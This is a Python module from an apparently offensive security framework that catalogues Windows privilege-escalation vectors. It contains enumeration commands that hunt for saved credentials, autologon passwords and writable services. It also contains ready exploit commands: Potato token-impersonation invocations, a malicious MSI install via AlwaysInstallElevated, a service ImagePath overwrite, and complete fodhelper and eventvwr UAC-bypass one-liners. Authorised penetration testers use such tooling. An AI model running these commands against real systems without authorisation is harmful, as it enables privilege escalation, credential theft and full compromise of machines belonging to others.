"""
AIPTX Beast Mode - Windows Privilege Escalation
===============================================

Windows-specific privilege escalation vectors and exploitation.
"""

from __future__ import annotations

import logging
from dataclasses import dataclass
from typing import Any

from aipt_v2.post_exploit.privesc.privesc_engine import (
    PrivescVector,
    PrivescCategory,
    PrivescRisk,
)

logger = logging.getLogger(__name__)


# Windows privilege escalation techniques
WINDOWS_PRIVESC_TECHNIQUES = {
    # Token privileges
    "SeImpersonatePrivilege": {
        "description": "Can impersonate tokens - Potato attacks possible",
        "exploits": ["JuicyPotato", "RoguePotato", "PrintSpoofer", "GodPotato"],
        "check": "whoami /priv | findstr SeImpersonate",
    },
    "SeAssignPrimaryTokenPrivilege": {
        "description": "Can assign primary token - Token manipulation possible",
        "exploits": ["Token manipulation", "Potato attacks"],
        "check": "whoami /priv | findstr SeAssignPrimary",
    },
    "SeBackupPrivilege": {
        "description": "Can backup files - Read any file including SAM",
        "exploits": ["SAM/SYSTEM extraction", "Shadow copy extraction"],
        "check": "whoami /priv | findstr SeBackup",
    },
    "SeRestorePrivilege": {
        "description": "Can restore files - Write to any location",
        "exploits": ["DLL hijacking", "Service binary replacement"],
        "check": "whoami /priv | findstr SeRestore",
    },
    "SeTakeOwnershipPrivilege": {
        "description": "Can take ownership of files",
        "exploits": ["Take ownership of sensitive files"],
        "check": "whoami /priv | findstr SeTakeOwnership",
    },
    "SeDebugPrivilege": {
        "description": "Can debug processes - Full memory access",
        "exploits": ["Process injection", "LSASS dump"],
        "check": "whoami /priv | findstr SeDebug",
    },
    "SeLoadDriverPrivilege": {
        "description": "Can load kernel drivers",
        "exploits": ["Capcom.sys exploit", "Malicious driver loading"],
        "check": "whoami /priv | findstr SeLoadDriver",
    },
}


class WindowsPrivesc:
    """
    Windows privilege escalation detection and exploitation.
    """

    def __init__(self):
        """Initialize Windows privesc module."""
        self._vectors: list[PrivescVector] = []

    def get_all_check_commands(self) -> list[dict[str, str]]:
        """Get all Windows privesc check commands."""
        return [
            # System info
            {"name": "systeminfo", "command": "systeminfo", "category": "info"},
            {"name": "hotfixes", "command": "wmic qfe list brief", "category": "info"},

            # Privileges
            {"name": "privileges", "command": "whoami /priv", "category": "token"},
            {"name": "user_groups", "command": "whoami /groups", "category": "token"},

            # Services
            {"name": "services_unquoted", "command": "wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v \"C:\\\\Windows\\\\\" | findstr /i /v '\"'", "category": "service"},
            {"name": "services_writable", "command": "for /f \"tokens=2 delims='='\" %a in ('wmic service list full^|find /i \"pathname\"^|find /i /v \"system32\"') do @echo %a >> services.txt & icacls \"%a\" 2>nul | findstr /i \"(F) (M) (W)\"", "category": "service"},
            {"name": "services_registry", "command": "reg query HKLM\\SYSTEM\\CurrentControlSet\\Services /s /v ImagePath 2>nul | findstr /i /v \"system32\"", "category": "service"},

            # AlwaysInstallElevated
            {"name": "always_elevated_hklm", "command": "reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul", "category": "alwayselevated"},
            {"name": "always_elevated_hkcu", "command": "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul", "category": "alwayselevated"},

            # Scheduled tasks
            {"name": "schtasks", "command": "schtasks /query /fo LIST /v | findstr /B /C:\"Folder\" /C:\"TaskName\" /C:\"Run As\"", "category": "schtasks"},
            {"name": "schtasks_writable", "command": "icacls C:\\Windows\\System32\\Tasks\\* 2>nul | findstr /i \"(F) (M) (W)\" | findstr /i /v \"NT AUTHORITY\"", "category": "schtasks"},

            # AutoRuns
            {"name": "autorun_registry", "command": "reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 2>nul", "category": "autorun"},
            {"name": "autorun_startup", "command": "dir /b \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\" 2>nul", "category": "autorun"},

            # Credentials
            {"name": "saved_creds", "command": "cmdkey /list", "category": "creds"},
            {"name": "autologon", "command": "reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword 2>nul", "category": "creds"},
            {"name": "wifi_passwords", "command": "netsh wlan show profiles", "category": "creds"},

            # PATH
            {"name": "path_writable", "command": "for %p in (\"%PATH:;=\" \"%\") do @icacls \"%~p\" 2>nul | findstr /i \"(F) (M) (W)\" | findstr /i /v \"Windows\"", "category": "path"},

            # UAC
            {"name": "uac_level", "command": "reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA 2>nul", "category": "uac"},
            {"name": "uac_consent", "command": "reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v ConsentPromptBehaviorAdmin 2>nul", "category": "uac"},

            # WSUS
            {"name": "wsus", "command": "reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate /v WUServer 2>nul", "category": "wsus"},

            # DLL hijacking
            {"name": "dll_paths", "command": "echo %PATH% | findstr /i \"C:\\\\Users\"", "category": "dll"},
        ]

    def check_privilege(self, privilege_output: str) -> list[PrivescVector]:
        """Check privileges from whoami /priv output."""
        vectors = []

        for priv_name, info in WINDOWS_PRIVESC_TECHNIQUES.items():
            if priv_name in privilege_output and "Enabled" in privilege_output:
                vector = PrivescVector(
                    name=f"token_{priv_name.lower()}",
                    category=PrivescCategory.MISCONFIG,
                    description=info["description"],
                    risk=PrivescRisk.MEDIUM,
                    check_command=info["check"],
                    notes=f"Exploits: {', '.join(info['exploits'])}",
                    confidence=0.85,
                )
                vectors.append(vector)

        return vectors

    def get_token_privesc_vectors(self) -> list[PrivescVector]:
        """Get token-based privesc vectors."""
        return [
            PrivescVector(
                name="juicy_potato",
                category=PrivescCategory.MISCONFIG,
                description="SeImpersonatePrivilege - JuicyPotato attack",
                risk=PrivescRisk.MEDIUM,
                check_command="whoami /priv | findstr SeImpersonate",
                exploit_command="JuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -t * -c {CLSID}",
                prerequisites=["SeImpersonatePrivilege", "Windows < 2019"],
                notes="Get CLSID from https://ohpe.it/juicy-potato/CLSID/",
                confidence=0.8,
            ),
            PrivescVector(
                name="print_spoofer",
                category=PrivescCategory.MISCONFIG,
                description="SeImpersonatePrivilege - PrintSpoofer attack",
                risk=PrivescRisk.MEDIUM,
                check_command="whoami /priv | findstr SeImpersonate",
                exploit_command="PrintSpoofer.exe -i -c cmd",
                prerequisites=["SeImpersonatePrivilege"],
                notes="Works on Windows 10 and Server 2016/2019",
                confidence=0.85,
            ),
            PrivescVector(
                name="god_potato",
                category=PrivescCategory.MISCONFIG,
                description="SeImpersonatePrivilege - GodPotato attack",
                risk=PrivescRisk.MEDIUM,
                check_command="whoami /priv | findstr SeImpersonate",
                exploit_command="GodPotato.exe -cmd cmd.exe",
                prerequisites=["SeImpersonatePrivilege"],
                notes="Works on most Windows versions",
                confidence=0.85,
            ),
        ]

    def get_service_privesc_vectors(self) -> list[PrivescVector]:
        """Get service-based privesc vectors."""
        return [
            PrivescVector(
                name="unquoted_service_path",
                category=PrivescCategory.SERVICE,
                description="Unquoted service path allows DLL/EXE hijacking",
                risk=PrivescRisk.MEDIUM,
                check_command="wmic service get name,pathname | findstr /i /v \"C:\\Windows\" | findstr /i \" \"",
                exploit_command="# Place malicious exe in writable path component",
                notes="Path must have spaces and not be quoted",
                confidence=0.7,
            ),
            PrivescVector(
                name="writable_service_binary",
                category=PrivescCategory.SERVICE,
                description="Service binary is writable - can be replaced",
                risk=PrivescRisk.MEDIUM,
                check_command="icacls <service_path> | findstr /i \"(F) (M) (W)\"",
                exploit_command="# Replace binary, restart service",
                notes="Need service restart or system reboot",
                confidence=0.8,
            ),
            PrivescVector(
                name="writable_service_registry",
                category=PrivescCategory.SERVICE,
                description="Service registry key is writable",
                risk=PrivescRisk.MEDIUM,
                check_command="reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\<service>",
                exploit_command="reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\<service> /v ImagePath /t REG_EXPAND_SZ /d <payload>",
                confidence=0.75,
            ),
        ]

    def get_always_elevated_vectors(self) -> list[PrivescVector]:
        """Get AlwaysInstallElevated vectors."""
        return [
            PrivescVector(
                name="always_install_elevated",
                category=PrivescCategory.MISCONFIG,
                description="AlwaysInstallElevated is enabled - MSI runs as SYSTEM",
                risk=PrivescRisk.LOW,
                check_command="reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated && reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated",
                exploit_command="msiexec /quiet /qn /i malicious.msi",
                notes="Both HKLM and HKCU must have AlwaysInstallElevated = 1",
                confidence=0.95,
            ),
        ]

    def get_uac_bypass_vectors(self) -> list[PrivescVector]:
        """Get UAC bypass vectors."""
        return [
            PrivescVector(
                name="fodhelper_bypass",
                category=PrivescCategory.MISCONFIG,
                description="FodHelper UAC bypass",
                risk=PrivescRisk.LOW,
                check_command="reg query HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command 2>nul",
                exploit_command="reg add HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command /d \"cmd.exe\" /f && reg add HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command /v DelegateExecute /t REG_SZ /f && fodhelper.exe",
                notes="Works when user is in Administrators group with UAC enabled",
                confidence=0.8,
            ),
            PrivescVector(
                name="eventvwr_bypass",
                category=PrivescCategory.MISCONFIG,
                description="Event Viewer UAC bypass",
                risk=PrivescRisk.LOW,
                check_command="reg query HKCU\\Software\\Classes\\mscfile\\shell\\open\\command 2>nul",
                exploit_command="reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d \"cmd.exe\" /f && eventvwr.exe",
                notes="Works on Windows 7/8/10",
                confidence=0.75,
            ),
        ]

    def get_dll_hijack_vectors(self) -> list[PrivescVector]:
        """Get DLL hijacking vectors."""
        return [
            PrivescVector(
                name="dll_search_order",
                category=PrivescCategory.PATH,
                description="DLL search order hijacking via writable PATH",
                risk=PrivescRisk.MEDIUM,
                check_command="echo %PATH% | findstr /i C:\\Users",
                exploit_command="# Place malicious DLL in writable PATH directory",
                notes="Need process restart to load new DLL",
                confidence=0.6,
            ),
            PrivescVector(
                name="phantom_dll",
                category=PrivescCategory.PATH,
                description="Missing DLL that can be planted",
                risk=PrivescRisk.MEDIUM,
                check_command="# Use Process Monitor to find missing DLLs",
                exploit_command="# Plant DLL in search path",
                notes="Common missing DLLs: wlbsctrl.dll, wbemcomn.dll",
                confidence=0.5,
            ),
        ]


def get_windows_vectors() -> list[PrivescVector]:
    """Get common Windows privesc vectors."""
    wpe = WindowsPrivesc()
    vectors = []
    vectors.extend(wpe.get_token_privesc_vectors())
    vectors.extend(wpe.get_service_privesc_vectors())
    vectors.extend(wpe.get_always_elevated_vectors())
    vectors.extend(wpe.get_uac_bypass_vectors())
    vectors.extend(wpe.get_dll_hijack_vectors())
    return vectors


__all__ = [
    "WindowsPrivesc",
    "get_windows_vectors",
    "WINDOWS_PRIVESC_TECHNIQUES",
]
